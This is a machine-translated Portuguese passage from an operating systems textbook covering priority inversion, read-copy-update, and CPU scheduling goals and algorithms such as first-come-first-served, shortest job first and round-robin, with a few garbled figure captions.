anteriormente, isso não é desejável para programas de usuários: e se eles esquecerem de ativá-los novamente? 

Outra solução, conhecida como teto de prioridade, é associar uma prioridade ao próprio mutex e 
atribuí-la ao processo que o contém. Contanto que nenhum processo que precise capturar o mutex 
tenha uma prioridade mais alta do que a prioridade do teto, a inversão não será mais possível. 


Uma terceira via é a herança prioritária. Aqui, a tarefa de baixa prioridade que contém o mutex 
herdará temporariamente a prioridade da tarefa de alta prioridade que está tentando obtê-lo. Novamente, 
nenhuma tarefa de prioridade média será capaz de antecipar a tarefa que contém o mutex. Esta foi a 
técnica eventualmente usada para corrigir os problemas do Mars Pathfinder. 
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Finalmente, sistemas operacionais como o Microsoft Windows empregam reforço aleatório, 
essencialmente jogando os dados de vez em quando e dando aos threads aleatórios de retenção de mutex 
uma alta prioridade até que eles saiam da região crítica. 


2.4.11 Evitando bloqueios: leitura-cópia-atualização 


Os bloqueios mais rápidos não são bloqueios. E a ausência de bloqueios também significa que não há 
risco de inversão de prioridades. A questão é se podemos permitir leitura e gravação simultâneas 
acessos a estruturas de dados compartilhadas sem bloqueio. No caso geral, a resposta 
é claramente não. Imagine o thread A classificando uma série de números, enquanto o thread B calcula a 
média. Como A move os valores para frente e para trás na matriz, 

B pode encontrar alguns valores várias vezes e outros não. O resultado poderia 
qualquer coisa, mas quase certamente estaria errado. 

Em alguns casos, entretanto, podemos permitir que um escritor atualize uma estrutura de dados mesmo 
embora outros processos ainda o utilizem. O truque é garantir que cada leitor 
lê a versão antiga dos dados ou a nova, mas não uma combinação estranha do antigo e do novo. Como 
ilustração, considere a árvore mostrada na Figura 2.39. 

Os leitores percorrem a árvore da raiz às folhas. Na metade superior da figura, um novo nó X é 
adicionado. Para fazer isso, deixamos o nó “perfeito” antes de torná-lo visível na árvore: inicializamos todos 
os valores no nó X, incluindo seus ponteiros filhos. Então, com uma escrita atômica, fazemos de X um filho 
de A. Nenhum leitor jamais lerá 
uma versão inconsistente. Na metade inferior da figura, posteriormente removemos B 
e D. Primeiro, fazemos com que o ponteiro filho esquerdo de A aponte para C. Todos os leitores que estavam em A 
continuarão com o nó C e nunca verão B ou D. Em outras palavras, eles verão apenas 
a nova versão. Da mesma forma, todos os leitores atualmente em B ou D continuarão acompanhando 
os ponteiros da estrutura de dados original e veja a versão antiga. Está tudo bem e nós 
nunca precisa bloquear nada. A principal razão pela qual a remoção de B e D funciona 
sem bloquear a estrutura de dados, é que RCU (Read-Copy-Update) desacopla 
as fases de remoção e recuperação da atualização. 

Claro, há um problema. Enquanto não tivermos certeza de que não há mais 
leitores de B ou D, não podemos realmente libertá-los. Mas quanto tempo devemos esperar? Um 
minuto? Dez? Temos que esperar até que o último leitor tenha deixado esses nós. O cuidado da RCU 
determina completamente o tempo máximo que um leitor pode reter uma referência à estrutura de dados. 
Após esse período, ele pode recuperar a memória com segurança. Especificamente, leitores 
acessar a estrutura de dados no que é conhecido como seção crítica do lado da leitura, que 
pode conter qualquer código, desde que não bloqueie ou durma. Nesse caso, sabemos 
o tempo máximo que precisamos esperar. Especificamente, definimos um período de carência como qualquer 
período de tempo em que sabemos que cada thread está fora do lado crítico do lado de leitura 
seção pelo menos uma vez. Tudo ficará bem se esperarmos uma duração pelo menos igual 
ao período de carência antes de reclamar. Como o código em uma seção crítica do lado da leitura é 


não é permitido bloquear ou dormir, um critério simples é esperar até que todos os threads tenham 
executou uma troca de contexto. 
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Estruturas de dados RCU não são tão comuns em processos de usuário, mas bastante populares em 
kernels do sistema operacional para estruturas de dados que são acessadas por vários threads 
e exigem alta eficiência. O kernel Linux tem milhares de usos de seu RCU 
API, espalhada pela maioria de seus subsistemas. A pilha de rede, o sistema de arquivos, os drivers e o gerenciamento 


de memória usam RCU para leitura e gravação simultâneas. 


Adicionando um nó: 


(a) Árvore original. (b) Inicialize o nó X e (c) Quando X é completamente inicializado, 
conecte E a X. Quaisquer leitores conecte X a A. Leitores atualmente 
em A e E não são afetados. em E terá lido a versão antiga, 


enquanto os leitores em A escolherão 
a nova versão da árvore. 


Removendo nós: 


(d) Desacople B de A. Observe (e) Espere até termos certeza (f) Agora podemos remover 
que ainda pode haver leitores em de que todos os leitores com segurança B e D 

B. Todos os leitores em B verão deixaram Be C. Esses nós não podem 

a versão antiga da árvore, ser acessado mais. 


enquanto todos os leitores atualmente 
em A verá a nova versão. 


Figura 2-39. Read-Copy-Update: inserindo um nó na árvore e depois removendo 
um galho - tudo sem fechaduras. 


2.5 AGENDAMENTO 


Quando um computador é multiprogramado, frequentemente ele possui múltiplos processos ou 
threads competindo pela CPU ao mesmo tempo. Esta situação ocorre sempre que 
dois ou mais deles estão simultaneamente no estado pronto. Se apenas uma CPU for 
disponível, é necessário escolher qual processo será executado em seguida. A parte do sistema operacional que faz a 
escolha é chamada de escalonador, e o algoritmo que ela faz 
usa é chamado de algoritmo de escalonamento. Esses tópicos constituem o assunto de 


as seções seguintes. 
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Muitos dos mesmos problemas que se aplicam ao agendamento de processos também se aplicam 
ao agendamento de threads, embora alguns sejam diferentes. Quando o kernel gerencia threads, o 
agendamento geralmente é feito por thread, com pouca ou nenhuma consideração a qual processo o 
thread pertence. Inicialmente nos concentraremos em questões de agendamento que se aplicam tanto 
a processos quanto a threads. Mais tarde, veremos explicitamente o agendamento de threads e alguns 
dos problemas exclusivos que ele levanta. Lidaremos com chips multicore no Cap. 8. 


2.5.1 Introdução ao agendamento 


Nos velhos tempos dos sistemas em lote com entrada na forma de imagens de cartão em fita 
magnética, o algoritmo de agendamento era simples: bastava executar o próximo trabalho na fita. Com 
a multiprogramação, o algoritmo de escalonamento tornou-se mais complexo porque normalmente 
havia vários usuários aguardando atendimento. Alguns mainframes ainda combinam serviço em lote e 
de compartilhamento de tempo, exigindo que o escalonador decida se um trabalho em lote ou um 
usuário interativo em um terminal deve ser o próximo. (Além disso, um trabalho em lote pode ser uma 
solicitação para executar vários programas em sucessão, mas para esta seção, assumiremos apenas 
que é uma solicitação para executar um único programa.) Como o tempo de CPU é um recurso 
escasso nessas máquinas, um bom agendador pode fazer uma grande diferença no desempenho 
percebido e na satisfação do usuário. Conseqüentemente, muito trabalho foi dedicado ao 
desenvolvimento de algoritmos de escalonamento inteligentes e eficientes. 

Com o advento dos computadores pessoais, a situação mudou de duas maneiras. 

Primeiro, na maioria das vezes existe apenas um processo ativo. É improvável que um usuário que 
insere um documento em um processador de texto compile simultaneamente um programa em segundo 
plano. Quando o usuário digita um comando no processador de texto, o escalonador não precisa fazer 
muito trabalho para descobrir qual processo executar — o processador de texto é o único candidato. 


Em segundo lugar, os computadores tornaram-se tão mais rápidos ao longo dos anos que a CPU 
raramente é mais um recurso escasso. A maioria dos programas para computadores pessoais é 
limitada pela taxa com que o usuário pode apresentar entradas (digitando ou clicando), e não pela taxa 
com que a CPU pode processá-las. Mesmo as compilações, que no passado representavam um 
grande consumo de ciclos de CPU, hoje em dia levam apenas alguns segundos na maioria dos casos. 
Mesmo quando dois programas estão sendo executados ao mesmo tempo, como um processador de 
texto e uma planilha, pouco importa qual deles ocorre primeiro, já que o usuário provavelmente está 
esperando que ambos terminem (exceto que eles geralmente completam suas tarefas tão rapidamente 
que o o usuário não estará fazendo muito, esperando muito de qualquer maneira). Como consequência, 
o agendamento não importa muito em PCs simples. Claro, existem aplicativos que praticamente 
consomem a CPU viva. Por exemplo, renderizar uma hora de vídeo de alta resolução enquanto ajusta 
as cores em cada um dos 107.892 quadros (em NTSC) ou 90.000 quadros (em PAL) requer grande 
poder de computação. Contudo, aplicações semelhantes são a exceção e não a regra. 


Quando recorremos a servidores em rede, a situação muda sensivelmente. Aqui, vários processos 
muitas vezes competem pela CPU, portanto o agendamento é importante novamente. Por exemplo, 
quando a CPU tem que escolher entre executar um processo que reúne os 
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estatísticas diárias e que atenda às solicitações dos usuários, os usuários ficarão muito mais felizes se 
o último obtém o primeiro crack na CPU. 

O argumento da “abundância de recursos” também não se aplica aos dispositivos loT e 
nós sensores, e talvez nem mesmo em smartphones. Mesmo que as CPUs dos telefones 
tornaram-se mais potentes e a memória mais abundante, a vida útil da bateria diminuiu 
não. Como a vida útil da bateria é uma das restrições mais importantes em todos estes 
dispositivos, alguns programadores tentam otimizar o consumo de energia. 

Além de escolher o processo certo para executar, o escalonador também precisa se preocupar 
sobre como fazer uso eficiente da CPU porque a troca de processos é cara. Para 
começar, uma mudança do modo de usuário para o modo kernel deve ocorrer. Então o estado de 
o processo atual deve ser salvo, inclusive armazenando seus registradores na tabela de processos para 
que possam ser recarregados posteriormente. Em alguns sistemas, o mapa de memória (por exemplo, memória 
bits de referência na tabela de páginas) também devem ser salvos. Isso é chamado de contexto 
switch, embora às vezes as pessoas também usem esse termo para se referir ao processo completo 
trocar. Em seguida, um novo processo deve ser selecionado executando o algoritmo de escalonamento. 
Depois disso, a unidade de gerenciamento de memória (MMU) deve ser recarregada com o mapa de 
memória do novo processo. Finalmente, o novo processo deve ser iniciado. Além de 
tudo isso, a troca de processo pode invalidar o cache de memória e tabelas relacionadas, 
forçando-o a ser recarregado dinamicamente da memória principal duas vezes (ao entrar 
o kernel e ao sair dele). Resumindo, fazer muitas trocas de processo por segundo pode consumir uma 
quantidade substancial de tempo de CPU, portanto, é aconselhável ter cuidado. 


Comportamento do Processo 


Quase todos os processos alternam rajadas de computação com E/S (de disco ou rede) 
solicitações, conforme mostrado na Figura 2-40. Frequentemente, a CPU funciona por um tempo sem parar, 
em seguida, uma chamada de sistema é feita para ler ou gravar em um arquivo. Quando o sistema 
chamada for concluída, a CPU computa novamente até precisar de mais dados ou precisar escrever 
mais dados e assim por diante. Observe que algumas atividades de E/S contam como computação. Por 
exemplo, quando a CPU copia bits para uma RAM de vídeo para atualizar a tela, ela está computando, não 
fazendo E/S, porque a CPU está em uso. E/S neste sentido é quando um processo 
entra no estado bloqueado aguardando que um dispositivo externo conclua seu trabalho. 

O importante a notar na Figura 2.40 é que alguns processos, como 
aquele na Figura 2.40(a), passam a maior parte do tempo computando, enquanto outros processos, 
como o mostrado na Figura 2.40(b), passam a maior parte do tempo aguardando E/S. 
Os primeiros são chamados de limite de computação ou limite de CPU; os últimos são chamados de limite 
de E/S. Os processos vinculados à computação normalmente têm rajadas longas de CPU e, portanto, 
esperas de E/S pouco frequentes, enquanto os processos vinculados a E/S têm rajadas curtas de CPU e, 
portanto, esperas de E/S frequentes. Observe que o fator chave é a duração do burst da CPU, não o 
comprimento do burst de E/S. Processos vinculados a E/S são vinculados a E/S porque não 
computar muito entre solicitações de E/S, não porque elas tenham solicitações de E/S especialmente longas. 
solicitações de. Leva o mesmo tempo para emitir a solicitação de hardware para ler um bloco de disco 
não importa quanto tempo leve para processar os dados depois que eles chegam. 
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Explosão longa da CPU 


Aguardando E/S 


Explosão curta de CPU 


(b) 


Tempo 


Figura 2-40. Interrupções de uso da CPU se alternam com períodos de espera por E/S. 
(a) Um processo vinculado à CPU. (b) Um processo vinculado a E/S. 


É importante notar que se as CPUs ficarem mais rápidas, os processos tendem a ficar mais vinculados à E/ 
S. Esse efeito ocorre porque as CPUs estão melhorando mais rapidamente que os discos rígidos. Como um 
Consequentemente, o escalonamento de processos vinculados a E/S poderá se tornar um assunto mais importante 
no futuro. A ideia básica aqui é que se um processo vinculado a E/S quiser 
para ser executado, ele deve ter uma chance rapidamente para poder emitir sua solicitação de disco e manter 
o disco ocupado. Como vimos na Figura 2-6, quando os processos estão vinculados à E/S, é preciso um bom tempo 
alguns deles para manter a CPU totalmente ocupada. 

Por outro lado, as CPUs não parecem estar ficando muito mais rápidas atualmente 
porque fazê-los ir mais rápido produz muito calor. Os discos rígidos não estão recebendo 
também é mais rápido, mas os SSDs estão substituindo os discos rígidos em computadores desktop e notebooks. 
Por outro lado, em grandes data centers, os discos rígidos ainda são amplamente utilizados devido a 
seu menor custo por bit. A consequência de tudo isso é que o agendamento depende muito 
dependendo do contexto e um algoritmo que funciona bem em um notebook pode não funcionar bem 


em um data center. E daqui a 10 anos tudo poderá ser diferente. 


Quando agendar 


Uma questão importante relacionada ao agendamento é quando tomar decisões de agendamento. Isto 
Acontece que há uma variedade de situações em que o agendamento é necessário. Primeiro, 
quando um novo processo é criado, é necessário tomar uma decisão sobre a execução do processo pai ou do 
processo filho. Como ambos os processos estão em estado pronto, é uma decisão de escalonamento normal e 
pode ocorrer em qualquer direção, ou seja, o escalonador pode escolher legitimamente executar o pai ou o filho 
em seguida. 

Segundo, uma decisão de escalonamento deve ser tomada quando um processo é encerrado. Esse processo 
não pode mais ser executado (uma vez que não existe mais), então algum outro processo deve ser 
escolhido do conjunto de processos prontos. Se nenhum processo estiver pronto, um sistema fornecido 


o processo ocioso é normalmente executado. 
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Terceiro, quando um processo é bloqueado em E/S, em um semáforo ou por algum outro motivo, outro 
processo deve ser selecionado para execução. Às vezes, o motivo do bloqueio 
pode desempenhar um papel na escolha. Por exemplo, se A é um processo importante e é 
esperando que B saia de sua região crítica, deixar B executar em seguida permitirá que ele saia de sua região crítica. 
região crítica e, portanto, deixe A continuar. O problema, porém, é que o escalonador 
geralmente não tem as informações necessárias para levar em conta essa dependência 
conta. 

Quarto, quando ocorre uma interrupção de E/S, uma decisão de escalonamento pode ser tomada. Se 
a interrupção veio de um dispositivo de E/S que agora completou seu trabalho, algum processo que estava 
bloqueado aguardando a E/S pode agora estar pronto para ser executado. Cabe ao 
agendador para decidir se deve executar o processo recém-pronto, o processo que foi 
em execução no momento da interrupção ou algum terceiro processo. 

Se um clock de hardware fornecer interrupções periódicas em 50 ou 60 Hz (ou possivelmente em 
alguma outra frequência — potencialmente mais alta), uma decisão de agendamento pode ser tomada em 
cada interrupção de clock ou a cada k-ésima interrupção de clock. Algoritmos de agendamento podem ser 
divididos em duas categorias com relação à forma como lidam com interrupções de clock. A 
algoritmo de escalonamento não preemptivo escolhe um processo para ser executado e então apenas o deixa 
executado até ser bloqueado (seja na E/S ou aguardando outro processo) ou voluntariamente 
libera a CPU. Mesmo que funcione por muitas horas, não será suspenso à força. 
Na verdade, nenhuma decisão de escalonamento é tomada durante as interrupções do relógio. Após a conclusão 
do processamento da interrupção do relógio, o processo que estava em execução antes do 
a interrupção é retomada, a menos que um processo de prioridade mais alta esteja aguardando um tempo limite 
agora satisfeito. 

Em contraste, um algoritmo de escalonamento preemptivo escolhe um processo e o deixa rodar 
por um período máximo de tempo fixo. Se ainda estiver em execução no final do intervalo de tempo, ele será 
suspenso e o escalonador escolherá outro processo para ser executado (se houver algum disponível). Fazer o 
agendamento preemptivo requer que ocorra uma interrupção do relógio no 
final do intervalo de tempo para devolver o controle da CPU ao escalonador. Se não 
relógio está disponível, o agendamento não preemptivo é a única opção. 

A preempção não é relevante apenas para aplicativos, mas também para sistemas operacionais 
kernels, especialmente os monolíticos. Hoje em dia muitos deles são preventivos. Se 
não fossem, um driver mal implementado ou uma chamada de sistema muito lenta poderia consumir 
a CPU. Em vez disso, em um kernel preemptivo, o escalonador pode forçar a execução prolongada 
driver ou chamada de sistema para troca de contexto. 


Categorias de algoritmos de agendamento 


Não é de surpreender que, em diferentes ambientes, diferentes algoritmos de escalonamento sejam 
necessário. Esta situação surge porque diferentes áreas de aplicação (e diferentes 
tipos de sistemas operacionais) têm objetivos diferentes. Em outras palavras, o que o escalonador deve otimizar 
não é o mesmo em todos os sistemas. Três ambientes valem 


distintivos são: 
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1. Lote 
2. Interativo 


3. Tempo real 


Os sistemas em lote ainda são amplamente utilizados no mundo dos negócios para processamento de folha de pagamento, 
estoque, contas a receber, contas a pagar, cálculo de juros (em bancos), 

processamento de sinistros (em companhias de seguros) e outras tarefas periódicas. Em sistemas batch, não 

há usuários esperando impacientemente em seus terminais por uma resposta rápida. 

para um breve pedido. Consequentemente, algoritmos não preemptivos, ou algoritmos preemptivos com longos 
períodos de tempo para cada processo, são frequentemente aceitáveis. Esta abordagem 

reduz mudanças de processo e, portanto, melhora o desempenho. Os algoritmos em lote são 

na verdade, bastante geral e muitas vezes aplicável também a outras situações, o que torna 


vale a pena estudá-los, mesmo para pessoas não envolvidas com computação de mainframe corporativo. 


Em um ambiente com usuários interativos, a preempção é essencial para manter um 
processo de monopolizar a CPU e negar serviço aos outros. Mesmo que nenhum processo seja intencionalmente 
executado para sempre, um processo pode excluir todos os outros indefinidamente. 
devido a um bug do programa. A preempção é necessária para evitar esse comportamento. Servidores também 
se enquadram nesta categoria, pois normalmente atendem a múltiplos usuários (remotos), todos 
quem está com muita pressa. Os usuários de computador estão sempre com muita pressa. 

Em sistemas com restrições de tempo real, a preempção é, curiosamente, às vezes 
não é necessário porque os processos sabem que podem não funcionar por longos períodos de 
tempo e geralmente fazem seu trabalho e bloqueiam rapidamente. A diferença com interativo 
sistemas é que os sistemas em tempo real executam apenas programas que se destinam a promover o 
aplicação em mãos. Os sistemas interativos são de uso geral e podem executar arbitrariamente 


programas que não são cooperativos e até possivelmente maliciosos. 
Agendando metas de algoritmo 


Para projetar um algoritmo de escalonamento é necessário ter alguma ideia do 
o que um bom algoritmo deve fazer. Alguns objetivos dependem do ambiente (lote, 
interativo ou em tempo real), mas alguns são desejáveis em todos os casos. Alguns objetivos estão listados 
na Figura 2-41. Discutiremos isso abaixo. 


Em todas as circunstâncias, a justiça é importante. Processos comparáveis devem 
obtenha um serviço comparável. Dar a um processo muito mais tempo de CPU do que a um processo equivalente 
não é justo. É claro que diferentes categorias de processos podem ser tratadas de forma diferente. Pense no 
controle de segurança e na folha de pagamento no computador de um reator nuclear. 


Algo relacionado com a justiça é, na verdade, fazer cumprir as políticas do sistema. Se o 
A política local é que os processos de controle de segurança sejam executados sempre que desejarem, mesmo 
se isso significa que a folha de pagamento está 30 segundos atrasada, o agendador deve garantir que esta política seja 
aplicado. Isso pode exigir algum esforço extra. 
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Todos os sistemas 
Justiça — dando a cada processo uma parte justa da CPU 
Aplicação da política — garantir que a política declarada seja executada 
Equilíbrio — mantendo todas as partes do sistema ocupadas 


Sistemas em lote 


Taxa de transferência — maximize os trabalhos por hora 
Tempo de resposta — minimize o tempo entre o envio e o encerramento 


Utilização da CPU — mantenha a CPU ocupada o tempo todo 


Sistemas interativos 
Tempo de resposta — responda às solicitações rapidamente 
Proporcionalidade — atenda às expectativas dos usuários 


Sistemas em tempo real 
Cumprir prazos — evite perder dados 
Previsibilidade — evite a degradação da qualidade em sistemas multimídia 


Figura 2-41. Alguns objetivos do algoritmo de escalonamento em diferentes circunstâncias. 


Outro objetivo geral é manter todas as partes do sistema ocupadas sempre que possível. Se a CPU e 
todos os dispositivos de E/S puderem continuar funcionando o tempo todo, mais trabalho será realizado por 
segundo do que se alguns dos componentes estiverem ociosos. Em um sistema em lote, por exemplo, o 
agendador controla quais tarefas são trazidas para a memória para serem executadas. 

Ter alguns processos vinculados à CPU e alguns processos vinculados à E/S juntos na memória é uma ideia 
melhor do que primeiro carregar e executar todos os trabalhos vinculados à CPU e depois, quando eles 
terminarem, carregar e executar todos os trabalhos vinculados à E/S. empregos. Se a última estratégia for 
usada, quando os processos vinculados à CPU estiverem em execução, eles lutarão pela CPU e o disco ficará 
ocioso. Mais tarde, quando os trabalhos vinculados à E/S chegarem, eles lutarão pelo disco e a CPU ficará 
ociosa. Melhor manter todo o sistema funcionando ao mesmo tempo por meio de uma combinação cuidadosa 
de processos. 

Os gerentes de grandes data centers que executam muitos trabalhos em lote normalmente analisam três 
métricas para ver o desempenho de seus sistemas: rendimento, tempo de resposta e utilização da CPU. A taxa 
de transferência é o número de trabalhos por hora que o sistema conclui. Considerando tudo isso, terminar 50 
trabalhos por hora é melhor do que terminar 40 trabalhos por hora. O tempo de resposta é o tempo 
estatisticamente médio desde o momento em que um trabalho em lote é enviado até o momento em que é 


concluído. Mede quanto tempo o usuário médio tem que esperar pela saída. Aqui a regra é: Pequeno é Bonito. 


Um algoritmo de escalonamento que tenta maximizar o rendimento pode não necessariamente minimizar 
o tempo de resposta. Por exemplo, dada uma combinação de trabalhos curtos e trabalhos longos, um 
escalonador que sempre executasse trabalhos curtos e nunca executasse trabalhos longos poderia alcançar um resultado 
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excelente rendimento (muitos trabalhos curtos por hora), mas às custas de um tempo de resposta terrível para 
os trabalhos longos. Se os trabalhos curtos continuassem chegando a uma taxa razoavelmente constante, os 
trabalhos longos poderiam nunca ser executados, tornando o tempo médio de resposta infinito e, ao mesmo 
tempo, alcançando um alto rendimento. 

A utilização da CPU é frequentemente usada como métrica em sistemas em lote. Na verdade, porém, 
não é uma boa métrica. O que realmente importa é quantos trabalhos por hora saem do sistema (rendimento) 
e quanto tempo leva para recuperar um trabalho (tempo de resposta). 

Usar a utilização da CPU como métrica é como avaliar carros com base em quantas vezes por hora o motor 
gira. No entanto, saber quando a utilização da CPU está quase 100% é útil para saber quando é hora de obter 
mais poder computacional. 

Para sistemas interativos, aplicam-se objetivos diferentes. O mais importante é minimizar o tempo de 
resposta, ou seja, o tempo entre a emissão de um comando e a obtenção do resultado. Em um computador 
pessoal onde um processo em segundo plano está sendo executado (por exemplo, leitura e armazenamento 
de e-mail da rede), uma solicitação do usuário para iniciar um programa ou abrir um arquivo deve ter 
precedência sobre o trabalho em segundo plano. Ter todas as solicitações interativas em primeiro lugar será 
considerado um bom serviço. 

Uma questão um tanto relacionada é o que pode ser chamado de proporcionalidade. Os usuários têm 
uma ideia inerente (mas muitas vezes incorreta) de quanto tempo as coisas devem levar. Quando uma 
solicitação que o usuário considera complexa leva muito tempo, os usuários aceitam, mas quando uma 
solicitação que é percebida como simples leva muito tempo, os usuários ficam irritados. Por exemplo, se clicar 
em um ícone que inicia o upload de um vídeo de 5 GB para um servidor em nuvem levar 60 segundos, o 
usuário provavelmente aceitará isso como um fato da vida, porque ele não espera que o upload demore 5 
segundos. Ele sabe que isso levará tempo. 

Por outro lado, quando um usuário clica no ícone que interrompe a conexão com o servidor em nuvem 
após o upload do vídeo, ele tem expectativas diferentes. Se não for concluído após 30 segundos, o usuário 
provavelmente estará xingando com uma faixa azul e, após 60 segundos, estará espumando pela boca. Esse 
comportamento se deve à percepção comum do usuário de que o envio de muitos dados leva muito mais 
tempo do que apenas interromper a conexão. Em alguns casos (como este), o escalonador não pode fazer 
nada em relação ao tempo de resposta, mas em outros casos pode, especialmente quando o atraso é devido 
a uma má escolha da ordem do processo. 


Os sistemas de tempo real têm propriedades diferentes dos sistemas interativos e, portanto, têm objetivos 
de escalonamento diferentes. Caracterizam-se por possuírem prazos que devem ou pelo menos deveriam ser 
cumpridos. Por exemplo, se um computador estiver controlando um dispositivo que produz dados a uma taxa 
regular, a falha na execução do processo de coleta de dados no prazo poderá resultar em perda de dados. 


Assim, a principal necessidade em um sistema em tempo real é cumprir todos (ou a maioria) dos prazos. 


Em alguns sistemas de tempo real, especialmente aqueles que envolvem multimídia, a previsibilidade é 
importante. Perder um prazo ocasional não é fatal, mas se o processo de áudio for executado de forma muito 
irregular, a qualidade do som se deteriorará rapidamente. O vídeo também é um problema, mas o ouvido é 
muito mais sensível ao tremor do que o olho. Para evitar esse problema, o escalonamento de processos 
deve ser altamente previsível e regular. Estudaremos algoritmos de escalonamento interativo e em lote neste 
capítulo. 


Machine Translated by Google 


160 PROCESSOS E LINHAS INDIVÍDUO. 2 


2.5.2 Agendamento em Sistemas Batch 


Agora é hora de passar das questões gerais de escalonamento para algoritmos de escalonamento específicos. Nesta 
seção, veremos algoritmos usados em sistemas em lote. Nos próximos, examinaremos sistemas interativos e em tempo real. 


Vale ressaltar que alguns algoritmos são utilizados tanto em sistemas batch quanto interativos. 
Estudaremos isso mais tarde. 
Primeiro a chegar, primeiro a ser servido 


Provavelmente, o mais simples de todos os algoritmos de escalonamento já concebidos é o do tipo não-preemptivo, 
primeiro a chegar, primeiro a ser servido. Com este algoritmo, os processos recebem a CPU na ordem em que a solicitam. 
Basicamente, existe uma única fila de processos prontos. 

Quando o primeiro trabalho entra no sistema vindo de fora pela manhã, ele é iniciado imediatamente e pode ser executado 
pelo tempo que desejar. Não é interrompido porque durou muito tempo. À medida que outros trabalhos chegam, eles são 
colocados no final da fila. 

Quando o processo em execução é bloqueado, o primeiro processo da fila é executado em seguida. Quando um processo 
bloqueado fica pronto, como um trabalho recém-chegado, ele é colocado no final da fila, atrás de todos os processos em 
espera. 

A grande vantagem deste algoritmo é que ele é fácil de entender e igualmente fácil de programar. Também é justo, no 
mesmo sentido em que é justo alocar ingressos escassos para shows ou iPhones novos para pessoas que estão dispostas 
a ficar na fila a partir das 2 da manhã . Com este algoritmo, uma única lista encadeada rastreia todos os processos prontos. 
Escolher um processo para execução requer apenas a remoção de um do início da fila. Adicionar um novo trabalho ou 


processo desbloqueado requer apenas anexá-lo ao final da fila. O que poderia ser mais simples de entender e implementar? 


Infelizmente, a ordem de chegada também tem uma desvantagem poderosa. Suponha que haja um processo limitado 
por computação que seja executado por 1 segundo por vez e muitos processos vinculados a E/S que usem pouco tempo de 
CPU, mas cada um precise realizar 1.000 leituras de disco para ser concluído. O processo vinculado à computação é 
executado por 1 segundo e depois lê um bloco de disco. Todos os processos de E/S agora são executados e iniciam leituras 
de disco. Quando o processo vinculado à computação obtém seu bloco de disco, ele é executado por mais 1 segundo, 


seguido por todos os processos vinculados à E/S em rápida sucessão. 


O resultado líquido é que cada processo vinculado a E/S consegue ler 1 bloco por segundo e levará 1.000 segundos 
para terminar. Com um algoritmo de agendamento que antecipava o processo vinculado à computação a cada 10 ms, os 
processos vinculados à E/S terminariam em 10 segundos, em vez de 1.000 segundos, sem retardar muito o processo 


vinculado à computação. 


Trabalho mais curto primeiro 


Agora vejamos outro algoritmo em lote não preemptivo que assume que os tempos de execução são conhecidos 
antecipadamente. Em uma companhia de seguros, por exemplo, as pessoas podem prever com bastante precisão quanto 


tempo levará para processar um lote de 1.000 sinistros, uma vez que 
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trabalho semelhante é feito todos os dias. Quando vários trabalhos igualmente importantes estão na 

fila de entrada aguardando para serem iniciados, o escalonador escolhe primeiro o trabalho mais curto. 
Veja a Figura 2-42. Aqui encontramos quatro trabalhos A, B, C e D com tempos de execução de 8, 4, 

4 e 4 minutos, respectivamente. Executando-os nessa ordem, o tempo de resposta para A é de 8 
minutos, para B é de 12 minutos, para C é de 16 minutos e para D é de 20 minutos, em média 14 
minutos. 


8 4 4 4 4 4 4 8 
(a) (b) 


Figura 2-42. Um exemplo de agendamento do menor trabalho primeiro. (a) Executando quatro 
trabalhos no pedido original. (b) Executá-los na ordem mais curta-primeira. 


Agora vamos considerar a execução dessas quatro tarefas usando primeiro a tarefa mais curta, 
como mostrado na Figura 2.42(b). Os tempos de resposta são agora de 4, 8, 12 e 20 minutos, com 
uma média de 11 minutos. O trabalho mais curto primeiro é provavelmente o ideal. Considere o caso 
de quatro jobs, com tempos de execução de a, b, c e d, respectivamente. A primeira tarefa termina no 
tempo a, a segunda no tempo a + b e assim por diante. O tempo médio de resposta é (4a + 3b + 2c + 
d)/4. É claro que a contribui mais para a média do que os outros tempos, por isso deve ser o trabalho 
mais curto, com b a seguir, depois c e, finalmente, d como o mais longo, uma vez que afecta apenas 
o seu próprio tempo de resposta. O mesmo argumento se aplica igualmente bem a qualquer número 
de empregos. 

Vale ressaltar que o trabalho mais curto primeiro só é ideal quando todos os empregos estão 
disponíveis simultaneamente. Como contra-exemplo, considere cinco tarefas, de A a E, com tempos 
de execução de 2, 4, 1, 1 e 1, respectivamente. Seus tempos de chegada são 0, 0, 3, 3 e 3. 
Inicialmente, apenas A ou B podem ser escolhidos, pois os outros três jobs ainda não chegaram. 
Usando primeiro o trabalho mais curto, executaremos os trabalhos na ordem A, B, C, D, E, para uma 
espera média de 4,6. No entanto, executá-los na ordem B, C, D, E, Atem uma espera média de 4,4. 


Tempo restante mais curto próximo 


Uma versão preventiva do menor trabalho primeiro é o menor tempo restante a seguir. 
Com este algoritmo, o escalonador sempre escolhe o processo cujo tempo de execução restante é o 
mais curto. Novamente aqui, o tempo de execução deve ser conhecido com antecedência. 
Quando chega um novo trabalho, seu tempo total é comparado ao tempo restante do processo atual. 
Se o novo trabalho precisar de menos tempo para terminar do que o processo atual, o processo atual 
será suspenso e o novo trabalho será iniciado. Este esquema permite que novos empregos curtos 
obtenham um bom serviço. 
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2.5.3 Agendamento em Sistemas Interativos 


Veremos agora alguns algoritmos que podem ser usados em sistemas interativos. 
Eles são comuns em computadores pessoais, servidores e também em outros tipos de sistemas. 


Agendamento Round-Robin 


Um dos algoritmos mais antigos, simples, justos e amplamente usados é o round robin. A 
cada processo é atribuído um intervalo de tempo, denominado quantum, durante o qual ele 
pode ser executado. Se o processo ainda estiver em execução no final do quantum, a CPU será 
interrompida e entregue a outro processo. Se o processo foi bloqueado ou finalizado antes do 
quantum ter decorrido, a comutação da CPU é feita quando o processo é bloqueado, é claro. O 
round robin é fácil de implementar. Tudo o que o escalonador precisa fazer é manter uma lista 
de processos executáveis, como mostra a Figura 2.43(a). Quando o processo esgota seu 
quantum, ele é colocado no final da lista, como mostra a Figura 2.43(b). 


Atual Próximo Atual 
processo processo processo 
Espe ARER EE EE gi qo EA E 
(a) (b) 


Figura 2-43. Agendamento round-robin. (a) A lista de processos executáveis. 
(b) A lista de processos executáveis após B esgotar seu quantum. 


A única questão realmente interessante do round robin é a duração do quantum. 
Mudar de um processo para outro requer um certo tempo para fazer a administração — salvar e 
carregar registros e mapas de memória, atualizar diversas tabelas e listas, liberar e recarregar 
o cache de memória e assim por diante. Suponha que essa troca de contexto leve 1 ms, 
incluindo troca de mapas de memória, limpeza e recarga do cache, etc. Suponha também que o 
quantum esteja definido em 4 ms. Com esses parâmetros, após realizar 4 ms de trabalho útil, a 
CPU terá que gastar (ou seja, desperdiçar) 1 ms na comutação de processos. Assim, 20% do 
tempo de CPU será desperdiçado em sobrecarga administrativa. Claramente, isso é demais. 


